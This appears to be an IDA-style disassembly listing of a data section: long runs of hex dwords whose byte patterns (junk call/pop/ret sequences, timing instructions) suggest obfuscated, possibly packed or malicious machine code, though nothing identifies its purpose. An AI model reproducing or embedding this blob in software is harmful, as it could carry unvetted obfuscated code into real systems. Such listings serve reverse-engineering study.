		dd 83B9B35Bh, 292005BDh, 840F0106h, 485h, 0E857006Ah, 3
		dd 5FC35F20h, 4247C89h,	4244481h, 1Bh, 1FC35747h, 18E1F959h
		dd 892AB0F4h, 2903DD8Dh, 5BD8306h, 3062920h, 419860Fh
		dd 6A0000h, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 1D0424h
		dd 57470000h, 87417CC3h, 0E8AF1159h, 6064BB52h,	0E857006Ah
		dd 3, 5FC35F20h, 4247C89h, 4244481h, 1Bh, 0B9C35747h, 0D4CB8056h
		dd 81BB4E91h, 0C0E539DBh, 0D98C662Fh, 8D858B60h, 8B062928h
		dd 292535B5h, 0E1806106h, 7E904h, 94BC0000h, 0F4104C39h
		dd 0FC90A08h, 11984h, 51006A00h, 3E8h, 0C3592000h, 244C8959h
		dd 24448104h, 1A04h, 0C3514100h, 31D1C6C5h, 8B353DE4h
		dd 29188585h, 2539BB06h, 8F0F3CBFh, 6, 5A9BD23h, 85330629h
		dd 6290DEDh, 7DF38166h,	0DD9531D3h, 5006290Fh, 66240489h
		dd 6AD88Bh, 0E855006Ah,	3, 5DC35D20h, 4246C89h,	4244481h
		dd 19h,	0E1C35545h, 0E36EB5C6h,	6870F10h, 8B000000h, 29181DBDh
		dd 0A8A16806h, 3CB302D5h, 5E243481h, 6A02CAABh,	3E85500h
		dd 20000000h, 895DC35Dh, 8104246Ch, 1A042444h, 45000000h
		dd 5CF5C355h, 9B47220Ah, 0D9BD330Fh, 60062919h,	8589F98Bh
		dd 6291135h, 4D95FF61h,	6A062900h, 3E85300h, 20000000h
		dd 895BC35Bh, 8104245Ch, 1B042444h, 43000000h, 5BCBC353h
		dd 1F93DC7Ah, 8960A983h, 2929A1B5h, 598D8906h, 61062911h
		dd 0C0968589h, 8C0F062Ch, 0Eh, 0DB58B60h, 81062921h, 3F5BEEEAh
		dd 0EFE9610Fh, 80000001h, 858B05DBh, 62CC08Eh, 0E853006Ah
		dd 3, 5BC35B20h, 4245C89h, 4244481h, 1Dh, 73C35343h, 7BD81417h
		dd 24AC600Dh, 50D38144h, 0F3DBC63h, 680h, 3D858900h, 0C706292Ah
		dd 1800h, 0B58BF900h, 62CC092h,	0E851006Ah, 3, 59C35920h
		dd 4244C89h, 4244481h, 17h, 8EC35141h, 8B6A0150h, 292A09BDh
		dd 0C9858B06h, 0BB06292Bh, 15A6553h, 6A0689h, 3E856h, 5E200000h
		dd 74895EC3h, 44810424h, 1B0424h, 56460000h, 1487D6C3h
		dd 3CBAFA88h, 9D8D896Dh, 6606292Dh, 858BD88Bh, 6291885h
		dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 16h, 0BFC35242h
		dd 81665716h, 89703ADFh, 9D8B0446h, 6292361h, 0EE8h, 54232F00h
		dd 30C4325Fh, 0B4D215A8h, 662D4E2Bh, 5FB634BBh,	9E850h
		dd 61F20000h, 295B191h,	666094E5h, 895FD98Bh, 0E7812434h
		dd 18D3D88Ch, 0C08EB5FFh, 0BD2B062Ch, 6291A2Dh,	4E8h, 1F03FF00h
		dd 1EBF6600h, 810F5068h, 2, 448BA6B3h, 52500424h, 310FFA8Bh
		dd 585A28B3h, 8C0F008Bh, 17h, 12E9h, 6917C00h, 22C0662Fh
		dd 16A93595h, 0C08F4D89h, 897BDF75h, 0E8042444h, 0Ch, 0ACC4AED7h
		dd 9C688288h, 84496616h, 0BB665250h, 310FAC8Eh,	585AD88Ah
		dd 6A585Bh, 3E850h, 58200000h, 448958C3h, 44810424h, 190424h
		dd 50400000h, 0C5CA93C3h, 8B36C690h, 293475BDh,	96858D06h
		dd 81062CC0h, 9A663BF7h, 8B669012h, 669050FBh, 95FFFB8Bh
		dd 629004Dh, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h
		dd 1Ch,	69C35747h, 7A8D5A8Eh, 4228F91Eh, 0FFFBF0Fh, 6061D8B7h
		dd 0C26DE181h, 9D8932EFh, 6293269h, 585C761h, 3062920h
		dd 6A000000h, 3E85300h,	20000000h, 895BC35Bh, 8104245Ch
		dd 1B042444h, 43000000h, 0FC95C353h, 0DA6B19E8h, 0BD836937h
		dd 62CC096h, 54840F00h,	6A000000h, 3E85100h, 20000000h
		dd 8959C359h, 8104244Ch, 1B042444h, 41000000h, 0F2C2C351h
		dd 336B005Fh, 9D0BEFDAh, 6293519h, 41E9h, 50006A00h, 3E8h
		dd 0C3582000h, 24448958h, 24448104h, 1904h, 0C3504000h
		dd 0AE06DE5Ah, 81660A45h, 507798C3h, 110C30h, 0C1011144h
		dd 443010E8h, 4C000211h, 83580311h, 0E77504E9h,	305036EBh
		dd 64001104h, 0E8C10111h, 11443010h, 11640002h,	0E9835803h
		dd 0EBE77504h, 0E8C1501Bh, 11642810h, 11443003h, 64285802h
		dd 4300111h, 4E98311h, 0EBE775h, 6AC08Bh, 3E851h, 59200000h
		dd 4C8959C3h, 44810424h, 1C0424h, 51410000h, 0CD8B0EC3h
		dd 752AB5BAh, 0DA8BB1B1h, 2CAD381h, 9509451Bh, 6290F4Dh
		dd 2005BD83h, 0F030629h, 3A385h, 55006A00h, 3E8h, 0C35D2000h
		dd 246C895Dh, 24448104h, 1804h,	0C3554500h, 9153BDD8h
		dd 96BD83B3h, 62CC0h, 376840Fh,	81660000h, 0FF6EC5EBh
		dd 2CC096B5h, 50006A06h, 3E8h, 0C3582000h, 24448958h, 24448104h
		dd 1704h, 0C3504000h, 633D792h,	2AADBD2Bh, 95FF0629h, 6290E79h
		dd 9CBFC781h, 0B58B1BE6h, 62CC08Ah, 0E850006Ah,	3, 58C35820h
		dd 4244489h, 4244481h, 15h, 0A8C35040h,	0D8B70F30h, 106C7h
		dd 6A0001h, 3E851h, 59200000h, 4C8959C3h, 44810424h, 170424h
		dd 51410000h, 2A5EB4C3h, 11E850E0h, 0B6000000h,	5007F0h
		dd 0E0664F32h, 0FA6C871Eh, 691EEA96h, 8E8h, 5F0F4900h
		dd 1380CE47h, 895F5F2Dh, 0BF0F2434h, 96B5FFF9h,	2B062CC0h
		dd 290C719Dh, 2195FF06h, 57062907h, 1A2DBD8Bh, 8B5B0629h
		dd 2CC08AB5h, 53006A06h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h
		dd 1704h, 0C3534300h, 424B9D07h, 4957EF81h, 858B0FECh
		dd 6292479h, 2BD19D29h,	86890629h, 0C4h, 0E856006Ah, 3
		dd 5EC35E20h, 4247489h,	4244481h, 17h, 0CDC35646h, 8BED90F2h
		dd 291E6D95h, 83F98A06h, 6A04C2h, 3E852h, 5A200000h, 54895AC3h
		dd 44810424h, 160424h, 52420000h, 0BC6FCDC3h, 7436D381h
		dd 50893DE6h, 51006A20h, 3E8h, 0C3592000h, 244C8959h, 24448104h
		dd 1704h, 0C3514100h, 0EBCC906Bh, 8166FC60h, 6180B3CEh
		dd 0D465858Dh, 6A062Ch,	3E851h,	59200000h, 4C8959C3h, 44810424h
		dd 180424h, 51410000h, 99CB1C3h, 8D891549h, 6292D51h, 0B99D8B50h
		dd 5B062908h, 0EA9B509h, 86890629h, 0B8h, 6870Fh, 0F7810000h
		dd 1326A0CCh, 5CD9D8Bh,	6A0629h, 0D3E78166h, 96B5FF3Ah
		dd 6A062CC0h, 3E85000h,	20000000h, 8958C358h, 81042444h
		dd 14042444h, 40000000h, 81C8C350h, 623898CBh, 3195FF61h
		dd 96062930h, 2AFB89BFh, 7DBF501Eh, 96654299h, 96B5FFFCh
		dd 0E8062CC0h, 0Fh, 0A3AD7E6Dh,	6DECDE80h, 781477A0h, 1516CD4h
		dd 2927D99Dh, 85895B06h, 6291A6Dh, 2F9595FFh, 11E80629h
		dd 0CD000000h, 679BDFD5h, 86D45A8Fh, 0A2CE597Ah, 1535A932h
		dd 0FBEF8166h, 0BD835FA7h, 62911A9h, 24840F00h,	0F000000h
		dd 687h, 0B59D8B00h, 96062931h,	46FCDEBBh, 6E95033h, 45000000h
		dd 0F6EE8013h, 19BF96D9h, 0FF122449h, 2CC096B5h, 39BD2306h
		dd 2906292Ah, 2931798Dh, 3595FF06h, 6006292Dh, 84FACB81h
		dd 9D311391h, 62913E1h,	96B5FF61h, 56062CC0h, 0EA90CCBBh
		dd 95FF5B3Fh, 6290605h,	0E851006Ah, 3, 59C35920h, 4244C89h
		dd 4244481h, 1Bh, 0C5C35141h, 0E3853EBDh, 0E98637B1h, 0Dh
		dd 7D9AB686h, 712407F4h, 924D0AA9h, 61BF66F5h, 0BDBD8353h
		dd 206290Ah, 50840Fh, 6A0000h, 3E851h, 59200000h, 4C8959C3h
		dd 44810424h, 140424h, 51410000h, 0CE8E4C3h, 8F000000h
		dd 1E96B6AAh, 0F6C6507Dh, 31887941h, 292CC195h,	858B5F06h
		dd 6291829h, 71BD8957h
		db 32h,	29h
word_594F42	dw 5F06h		; DATA XREF: ___:off_438CC8o
		dd 660000C6h, 0EFE2EF81h, 2FDD9D31h, 85C70629h,	629065Dh
		dd 0
		dd 68E0Fh, 95290000h, 6290089h,	0FFF3DEE9h, 50006AFFh
		dd 3E8h, 0C3582000h, 24448958h,	24448104h, 1404h, 0C3504000h
		dd 25BD33CEh, 8B062907h, 53006AC1h, 3E8h, 0C35B2000h, 245C895Bh
		dd 24448104h, 1804h, 0C3534300h, 7FD12C9Ch, 25858DDAh
		dd 6A062914h, 3E85200h,	20000000h, 895AC35Ah, 81042454h
		dd 1C042444h, 42000000h, 0A376C352h, 0B6CA6AC3h, 0F0D2376h
		dd 0E380FFBFh, 10E990CCh, 99000000h, 6FFA77D6h,	0C9B7E3E3h
		dd 69EA73F4h, 501CF5E4h, 0AE953h, 2DBA0000h, 0F14B1A75h
		dd 0AADC6310h, 6A905Bh,	3E853h,	5B200000h, 5C895BC3h, 44810424h
		dd 1A0424h, 53430000h, 0B64A10C3h, 6BD5F1F6h, 61EB8166h
		dd 6A006A30h, 3E85300h,	20000000h, 895BC35Bh, 8104245Ch
		dd 17042444h, 43000000h, 39C4C353h, 0BD89F19Ch,	6291429h
		dd 6AFEBF0Fh, 56006A00h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h
		dd 1D04h, 0C3564600h, 0A1A39C03h, 834A1739h, 8DF9132Ah
		dd 2DD83A85h, 57006A06h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h
		dd 1D04h, 0C3574700h, 0CA18A786h, 9EDD515Ch, 0C0838508h
		dd 0FEBF0F05h, 6050DA8Bh, 0B0F88B66h, 4896125h,	6A99B724h
		dd 0EE900h, 0D2D10000h,	2B881B38h, 1CBCFAD2h, 312F67FBh
		dd 0FC8A006Ah, 0FE8h, 0F61E8100h, 9D9B6D89h, 2EC638F7h
		dd 936CEED6h, 0F51B509h, 0FF5B0629h, 290CED95h,	57006A06h
		dd 3E8h, 0C35F2000h, 247C895Fh,	24448104h, 1604h, 0C3574700h
		dd 8BCC1D79h, 292A11BDh, 618D8906h, 8D062923h, 2C98088Dh
		dd 50006A06h, 3E8h, 0C3582000h,	24448958h, 24448104h, 1504h
		dd 0C3504000h, 9D8B249Ah, 6290F6Dh, 0DA8BD1FFh,	1A29BD83h
		dd 0F010629h, 0A985h, 56006A00h, 3E8h, 0C35E2000h, 2474895Eh
		dd 24448104h, 1A04h, 0C3564600h, 320E0FF2h, 66B8F71Dh
		dd 26AD88Bh, 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h
		dd 16h,	80C35545h, 5E8B509h, 0C5000000h, 0C96696CEh, 1A499D8Bh
		dd 505B0629h, 6A240489h, 3E85000h, 20000000h, 8958C358h
		dd 81042444h, 1A042444h, 40000000h, 0DA11C350h,	0AC40B2F5h
		dd 31BB6604h, 3195FFA1h, 6A062930h, 3E85300h, 20000000h
		dd 895BC35Bh, 8104245Ch, 1B042444h, 43000000h, 0AEC9C353h
		dd 0BCBFB4C6h, 0CEE9FF93h, 0E800000Dh, 0
		dd 44ED815Dh, 0E9062DD8h, 11h, 0A29ACDEBh, 38D97A06h, 0B55ED9C8h
		dd 8AA6A076h, 55006AE3h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h
		dd 1A04h, 0C3554500h, 330446FFh, 89900E1Dh, 2927798Dh
		dd 0B0858D06h, 6A062C91h, 3E85300h, 20000000h, 895BC35Bh
		dd 8104245Ch, 15042444h, 43000000h, 1F9C353h, 9E990h, 0D5790000h
		dd 402EA8A3h, 50B9BE48h, 14E9h,	0CEC79100h, 533CC000h
		dd 0CAEDC7C6h, 51AFB01Fh, 0F2EB7B4Eh, 0B58990CEh, 6292499h
		dd 35FF64h, 6A000000h, 3E85700h, 20000000h, 895FC35Fh
		dd 8104247Ch, 1C042444h, 47000000h, 0A4FDC357h,	164D46A6h
		dd 30C6AD5h, 291AED9Dh,	25896406h, 0
		dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 15h, 68C35646h
		dd 0D781FC51h, 4ACB0A0Fh, 2A1585FFh, 0C3800629h, 958B60B6h
		dd 6291A21h, 27358D89h,	6A610629h, 18890FFFh, 0E9000000h
		dd 13h,	1ECB3244h, 7F678B18h, 75043090h, 1FE1D66Bh, 0F8595F01h
		dd 2FD9B5FFh, 810F0629h, 0Bh, 58D0Fh, 81660000h, 0FF8589EFh
		dd 29275595h, 145E906h,	89600000h, 2920419Dh, 0B5296106h
		dd 6290F11h, 816600B0h,	0E67C6CE7h, 0BE970h, 0E6A10000h
		dd 5CFDE800h, 0F8C4BA72h, 0E971E4D6h, 0Bh, 0DB34538Ah
		dd 0B36630C2h, 3CF96735h, 4830F61h, 0F000001h, 1087h, 8E85700h
		dd 7D000000h, 6DF23813h, 5F951C56h, 0FD98B5Bh, 0F60C8B6h
		dd 685h, 2ADE8100h, 0F926EA88h,	6BA61h,	0BB660000h, 0C18B4F51h
		dd 0C175CB80h, 14E904E8h, 0DF000000h, 37ACE145h, 8973291Bh
		dd 9FB02FC0h, 0C2166017h, 66C7A05Dh, 0EE9E2F7h,	1000000h
		dd 397F0661h, 5C41E3D5h, 87577496h, 89C82B9Fh, 29188D95h
		dd 8BD18B06h, 0CE9FAh, 60520000h, 453C52BBh, 0C2F1CD20h
		dd 78E93EDEh, 8B000000h, 185h, 859D8B00h, 8306290Ah, 97BF07C0h
		dd 832252F1h, 0BD8B00C0h, 6293275h, 830FD03Bh, 16h, 8D487EBFh
		dd 0D5B5893Ah, 0E9062923h, 43h,	0E4D8D89h, 8D8B0629h, 0FFFFFFFFh
		dd 83F88B66h, 840F01E1h, 2Bh, 0FFFFA583h, 31FEFFFFh, 29098D95h
		dd 1958906h, 8B000000h,	292D01BDh, 6E806h, 36460000h, 8CABC40Bh
		dd 0E95FF8h, 8D000000h,	2D59CBB5h, 6850F06h, 8B000000h
		dd 2933599Dh, 6F1FBF06h, 6A1032h, 0E856006Ah, 3, 5EC35E20h
		dd 4247489h, 4244481h, 14h, 0B6C35646h,	59195FFh, 34B70629h
		dd 0F4FB9h, 9958900h, 83062909h, 6AFCE1h, 3E850h, 58200000h
		dd 448958C3h, 44810424h, 160424h, 50400000h, 0AD062FC3h
		dd 0D4D8D89h, 66FC0629h, 2B4565BBh, 0CD9D8BC0h,	0BA062919h
		dd 0
		dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 19h, 0D3C35646h
		dd 6BFF516Eh, 0F8BF0F90h, 0D1C233ADh, 83D003E8h, 0F47504E9h
		dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 19h, 49C35141h
		dd 8E97B60Dh, 51006AF8h, 3E8h, 0C3592000h, 244C8959h, 24448104h
		dd 1804h, 0C3514100h, 5B4B4C5h,	0C7C78100h, 0D48D528h
		dd 88h,	0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 16h
		dd 0B9C35747h, 8E0F00D7h, 0
		dd 1E6D958Bh, 0E9520629h, 12h, 85D22C47h, 0ADE321CFh, 0F5DD1EF6h
		dd 9B9D971Bh, 8B5F0C2Dh, 292D818Dh, 61B58906h, 50062916h
		dd 188BC28Bh, 188BC103h, 0E8D1C18Bh, 188BC203h,	57006A58h
		dd 3E8h, 0C35F2000h, 247C895Fh,	24448104h, 1804h, 0C3574700h
		dd 0CDB45C3Fh, 56006ABDh, 3E8h,	0C35E2000h, 2474895Eh
		dd 24448104h, 1504h, 0C3564600h, 10E822A4h, 5000000h, 0C009C57Dh
		dd 0AA461AFh, 0D4A184FAh, 89F15927h, 29280DBDh,	0BD835B06h
		dd 6291331h, 67840F00h,	8B000000h, 291DBD9Dh, 0B806h, 0CE80000h
		dd 7B000000h, 5FDA4392h, 6E2F1E38h, 0F153435h, 8D5BDEB7h
		dd 294D6B8Dh, 55006A06h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h
		dd 1804h, 0C3554500h, 2285473Ch, 6AE1FFA8h, 3E85500h, 20000000h
		dd 895DC35Dh, 8104246Ch, 16042444h, 45000000h, 6BAAC355h
		dd 0BD83F8DDh, 6292005h, 25840F00h, 6A000004h, 3E85600h
		dd 20000000h, 895EC35Eh, 81042474h, 19042444h, 46000000h
		dd 8CB9C356h, 2EFFEEBBh, 2005BD83h, 0F010629h, 41284h
		dd 52006A00h, 3E8h, 0C35A2000h,	2454895Ah, 24448104h, 1404h
		dd 0C3524200h, 0EE935h,	132F0000h, 0D10D52D2h, 0C699FB4Eh
		dd 30B4E1BDh, 2005BD83h, 0F030629h, 3A086h, 870FFC00h
		dd 0Ch,	68F0Fh,	95890000h, 6292DA5h, 53006A60h,	3E8h, 0C35B2000h
		dd 245C895Bh, 24448104h, 1C04h,	0C3534300h, 39F45F46h
		dd 7B08446Ch, 5DB589DDh, 66062927h, 0E180D98Ch,	0ADE8B04h
		dd 42840FC9h, 6A000001h, 3E85300h, 20000000h, 895BC35Bh
		dd 8104245Ch, 14042444h, 43000000h, 6698C353h, 0BFAF7DBBh
		dd 30886BEDh, 1885858Bh, 6A0629h, 3E852h, 5A200000h, 54895AC3h
		dd 44810424h, 160424h, 52420000h, 0AACB8EC3h, 0F3815053h
		dd 8FC770Ah, 85335B5Fh,	6290DEDh, 0C1958960h, 61062906h
		dd 0AE95650h, 0F3000000h, 538BC46Bh, 277DDFA7h,	4895BA8h
		dd 53006A24h, 3E8h, 0C35B2000h,	245C895Bh, 24448104h, 1604h
		dd 0C3534300h, 0FB40A86h, 9589DABFh, 6291B75h, 6A006Ah
		dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 160424h, 53430000h
		dd 815A0AC3h, 429768FCh, 0F88B55D8h, 68243481h,	0E955C741h
		dd 9, 481F52C4h, 0D7B183E7h, 4D95FFC8h,	89062900h, 2906658Dh
		dd 96858906h, 0E8062CC0h, 0Eh, 2038934h, 0C5EAD713h, 7A4A7CF0h
		dd 0D381EC15h, 259D41EBh, 1D5E95Fh, 6A0000h, 3E855h, 5D200000h
		dd 6C895DC3h, 44810424h, 140424h, 55450000h, 10E905C3h
		dd 0FD000000h, 0AFB8943Dh, 4432489h, 8B1488DEh,	29E1F583h
		dd 2913E18Dh, 8E858B06h, 0F9062CC0h, 1800C7h, 81660000h
		dd 8B5ED8EBh, 2CC092B5h, 0C99D8B06h, 8B062915h,	292BC985h
		dd 50006A06h, 3E8h, 0C3582000h,	24448958h, 24448104h, 1804h
		dd 0C3504000h, 3F5CB8DBh, 0C1DB8186h, 8971CA1Fh, 8BFB8B06h
		dd 29188585h, 79B58906h, 8906292Eh, 6A0446h, 3E853h, 5B200000h
		dd 5C895BC3h, 44810424h, 190424h, 53430000h, 0E83BFDC3h
		dd 8BED986Eh, 2915919Dh, 0BFB35006h, 66243489h,	8C45EB81h
		dd 8019D89h, 0B5FF0629h, 62CC08Eh, 0E851006Ah, 3, 59C35920h
		dd 4244C89h, 4244481h, 1Ch, 0B9C35141h,	0AB5D4F0Fh, 123A3627h
		dd 1F6B8BBFh, 3D016861h, 58BF625Fh, 812919D6h, 3EFE2434h
		dd 6A6240h, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 1C0424h
		dd 53430000h, 0C7AC91C3h, 0D29FC563h, 0E9523146h, 14h
		dd 66F496DCh, 364978CFh, 0CA58B624h, 727EF89Ch,	5FE38BB4h
		dd 96858D5Fh, 6A062CC0h, 3E85100h, 20000000h, 8959C359h
		dd 8104244Ch, 14042444h, 41000000h, 8B0BC351h, 292D299Dh
		dd 0F1B58906h, 9006290Ch, 50DF8B66h, 0F39C24BBh, 6A904Ch
		dd 3E850h, 58200000h, 448958C3h, 44810424h, 1C0424h, 50400000h
		dd 0BB0531C3h, 34D295C1h, 0F7BBD118h, 0FF7D28D3h, 29004D95h
		dd 57006A06h, 3E8h, 0C35F2000h,	247C895Fh, 24448104h, 1704h
		dd 0C3574700h, 0F810A070h, 61DAB70Fh, 0E852006Ah, 3, 5AC35A20h
		dd 4245489h, 4244481h, 17h, 47C35242h, 6653AF02h, 5251C381h
		dd 200585C7h, 30629h, 0CB800000h, 0BDBD8B1Eh, 83062928h
		dd 2CC096BDh, 840F0006h, 2Dh, 30959D8Bh, 3DE90629h, 6A000000h
		dd 3E85300h, 20000000h,	895BC35Bh, 8104245Ch, 14042444h
		dd 43000000h, 89E2C353h, 29275D8Dh, 0C305006h, 11440011h
		dd 10E8C101h, 2114430h,	3114C00h, 4E98358h, 36EBE775h
		dd 11043050h, 1116400h,	3010E8C1h, 21144h, 58031164h, 7504E983h
		dd 501BEBE7h, 2810E8C1h, 30031164h, 58021144h, 1116428h
		dd 83110430h, 0E77504E9h, 0C08B00EBh, 634DEF81h, 9D8B64A2h
		dd 62928C5h, 2005BD83h,	0F030629h, 44F85h, 55006A00h, 3E8h
		dd 0C35D2000h, 246C895Dh, 24448104h, 1404h, 0C3554500h
		dd 6FD381CDh, 83062A38h, 2CC096BDh, 840F0006h, 420h, 0CE9h
		dd 95796400h, 7C9AFF3Ah, 7FB40654h, 96B5FF87h, 6A062CC0h
		dd 3E85700h, 20000000h,	895FC35Fh, 8104247Ch, 17042444h
		dd 47000000h, 195DC357h, 820F2056h, 4, 0FD5BBB66h, 0E7995FFh
		dd 6A0629h, 3E856h, 5E200000h, 74895EC3h, 44810424h, 1A0424h
		dd 56460000h, 2A9CBCC3h, 0EFE802D6h, 8AB58BFCh,	8B062CC0h
		dd 2923719Dh, 106C706h,	0E9000100h, 6, 0C4614F63h, 50F83999h
		dd 16800Fh, 8C0F0000h, 10h, 0AE8h, 2CED6900h, 9401D2B0h
		dd 5BCEE3ECh, 80243489h, 0B5FFA8F3h, 62CC096h, 0E857006Ah
		dd 3, 5FC35F20h, 4247C89h, 4244481h, 18h, 0CCC35747h, 0FDE4F1F7h
		dd 0EE3CBF66h, 72195FFh, 6A0629h, 3E855h, 5D200000h, 6C895DC3h
		dd 44810424h, 1A0424h, 55450000h, 64B19EC3h, 937735C3h
		dd 26359D8Bh, 0B58B0629h, 62CC08Ah, 0E852006Ah,	3, 5AC35A20h
		dd 4245489h, 4244481h, 1Ch, 5AC35242h, 0DA445605h, 67D1842Ah
		dd 2479858Bh, 9E90629h,	0E8000000h, 0CF0B2F61h,	92AC46D7h
		dd 0C48689h, 6A0000h, 3E856h, 5E200000h, 74895EC3h, 44810424h
		dd 1C0424h, 56460000h, 6FF863C3h, 0D7F78271h, 0C380A5FEh
		dd 1DBD29DDh, 8B06292Dh, 291E6D95h, 53006A06h, 3E8h, 0C35B2000h
		dd 245C895Bh, 24448104h, 1C04h,	0C3534300h, 0FC0B0EC6h
		dd 6207D286h, 60606049h, 0FDBD2361h, 6106290Dh,	0FB8B6653h
		dd 57FC6159h, 5E8h, 8F663400h, 9D898D63h, 62909E1h, 0C2835B5Bh
		dd 53006A04h, 3E8h, 0C35B2000h,	245C895Bh, 24448104h, 1804h
		dd 0C3534300h, 2E11D6DBh, 0DA8B66AFh, 89205089h, 291A7D8Dh
		dd 65858D06h, 81062CD4h, 57B72DEFh, 0B8868903h,	80000000h
		dd 6A82DBh, 0E851006Ah,	3, 59C35920h, 4244C89h,	4244481h
		dd 18h,	3EC35141h, 7DB200D0h, 0BE8h, 92639E00h,	194A4BBh
		dd 0A94955C6h, 0B5FF5BF8h, 62CC096h, 95FF5B53h
		dd 6293031h, 96DF8B66h,	49FFBF66h, 0EBF6650h, 852996AEh
		dd 6292A99h, 0B820Fh, 8B0F0000h, 5, 0C51353BBh,	96B5FF29h
		dd 0E9062CC0h, 0Ah, 95583743h, 46351013h, 95FF6092h, 6292F95h
		dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 19h, 0E2C35040h
		dd 93166342h, 42BB66B9h, 0A9BD83F0h, 62911h, 20840Fh, 9D290000h
		dd 6291EADh, 66536096h,	0F5EDE8Bh, 8Bh,	66506100h, 9678F0BBh
		dd 24718D89h, 0B5FF0629h, 62CC096h, 0E850006Ah,	3, 58C35820h
		dd 4244489h, 4244481h, 18h, 0AAC35040h,	15E23225h, 2C01BD8Bh
		dd 95FF0629h, 6292D35h,	0E851006Ah, 3, 59C35920h, 4244C89h
		dd 4244481h, 1Dh, 43C35141h, 88D67061h,	8E11369Ch, 95BD8B12h
		dd 0FF06290Fh, 2CC096B5h, 55006A06h, 3E8h, 0C35D2000h
		dd 246C895Dh, 24448104h, 1404h,	0C3554500h, 595FF82h, 6A062906h
		dd 3E85300h, 20000000h,	895BC35Bh, 8104245Ch, 1D042444h
		dd 43000000h, 0D13FC353h, 47FB3CA8h, 84391C5Ah,	0ABDBD83h
		dd 0F020629h, 5784h, 8B33B700h,	29182985h, 56006A06h, 3E8h
		dd 0C35E2000h, 2474895Eh, 24448104h, 1604h, 0C3564600h
		dd 0E9CDD2C4h, 13h, 3DA94A45h, 0AF7010E8h, 0F2A8D791h
		dd 1EBCDC7Dh, 0C6023D8Bh, 11E90000h, 32000000h,	2D276873h
		dd 1BEE5FE0h, 263751D6h, 0DBE55331h, 65D85C7h, 629h, 6A0000h
		dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 1D0424h, 51410000h
		dd 3EE50CC3h, 0EE0B307Dh, 80672A0Fh, 8D896EF3h,	62911D5h
		dd 0FFF376E9h, 56006AFFh, 3E8h,	0C35E2000h, 2474895Eh
		dd 24448104h, 1B04h, 0C3564600h, 0B957863Bh, 326C5F6Eh
		dd 28499D03h, 0C18B0629h, 8BF9BF0Fh, 2915A59Dh,	25858D06h
		dd 6A062914h, 3E85000h,	20000000h, 8958C358h, 81042444h
		dd 19042444h, 40000000h, 0F465C350h, 47D8500Fh,	35C4D781h
		dd 51506C85h, 310F5250h, 7121BF66h, 895B585Ah, 6A2404h
		dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 140424h, 56460000h
		dd 0D98B52C3h, 5053006Ah, 5BD8BF0Fh, 0C19D2B5Bh, 6A062927h
		dd 0FBB70F00h, 0EBC78166h, 0FC858D3Ch, 6A062DE7h, 3E85000h
		dd 20000000h, 8958C358h, 81042444h, 1D042444h, 40000000h
		dd 0C563C350h, 3146D29Fh, 0C5539173h, 0C083FA8Bh, 52006A05h
		dd 3E8h, 0C35A2000h, 2454895Ah,	24448104h, 1504h, 0C3524200h
		dd 0E95040AEh, 7, 183D1932h, 89CCC160h,	6A2404h, 3E855h
		dd 5D200000h, 6C895DC3h, 44810424h, 1B0424h, 55450000h
		dd 5C3CFBC3h, 75569483h, 6E815h, 38CD0000h, 0BE1AC69Ch
		dd 6A5FFB8Bh, 0FE800h, 19700000h, 0E1783763h, 0A526B3E9h
		dd 0E9EB28E8h, 0B70F60D5h, 0C93BED9h, 5B615A7Ch, 0BD89006Ah
		dd 62929ADh, 0CED95FFh,	6A0629h, 3E853h, 5B200000h, 5C895BC3h
		dd 44810424h, 190424h, 53430000h, 11B67FC3h, 0FE7DC0Eh
		dd 8Eh,	3840F00h, 66000000h, 8D8DF88Bh,	62C9808h, 0E857006Ah
		dd 3, 5FC35F20h, 4247C89h, 4244481h, 15h, 0CDC35747h, 0E19501FAh
		dd 0FF06291Fh, 52006AD1h, 3E8h,	0C35A2000h, 2454895Ah
		dd 24448104h, 1C04h, 0C3524200h, 4C34E69Dh, 0BCF13FBDh
		dd 83DD8ADDh, 291A29BDh, 850F0106h, 30h, 3231BD89h, 0BD8B0629h
		dd 629107Dh, 90FC026Ah,	8096BB66h, 0F88B6650h, 68F0F90h
		dd 0B000000h, 292D39BDh, 3195FF06h, 66062930h, 111DE381h
		dd 0C21E9h, 0E800h, 815D0000h, 2DE806EDh, 51006A06h, 3E8h
		dd 0C3592000h, 244C8959h, 24448104h, 1B04h, 0C3514100h
		dd 0E94E2FFEh, 525EACB2h, 17C9BD8Bh, 0DF810629h, 42E5B85Ch
		dd 91B0858Dh, 8589062Ch, 62910BDh, 0BF665350h, 895F2B17h
		dd 6A2404h, 3E851h, 59200000h, 4C8959C3h, 44810424h, 160424h
		dd 51410000h, 4DB7F7C3h, 0F166CB81h, 0FF643AC0h, 35h, 0F7CF8100h
		dd 64533857h, 2589h, 8D890000h,	6290DBDh, 2A1585FFh, 0FF6A0629h
		dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 14h, 1CC35242h
		dd 25398589h, 0B5FF0629h, 62927A1h, 0E856006Ah,	3, 5EC35E20h
		dd 4247489h, 4244481h, 1Ch, 13C35646h, 0C2886CBDh, 3C3924CFh
		dd 0FFF9B70Fh, 29275595h, 134E906h, 0F3810000h,	45D52F3Fh
		dd 0BF6600B0h, 70E60408h, 770D61BFh, 8171E40Eh,	0C0583ACBh
		dd 0F613C0Fh, 11183h, 0F98B6600h, 60C8B60Fh, 0EE9h, 12CE8900h
		dd 0FF359C9h, 8BE8959h,	8B5B1AA5h, 290DCD8Dh, 6BA6106h
		dd 60000000h, 8A0F5E57h, 4, 0F5C7BA66h,	8BC18B61h, 290AC1BDh
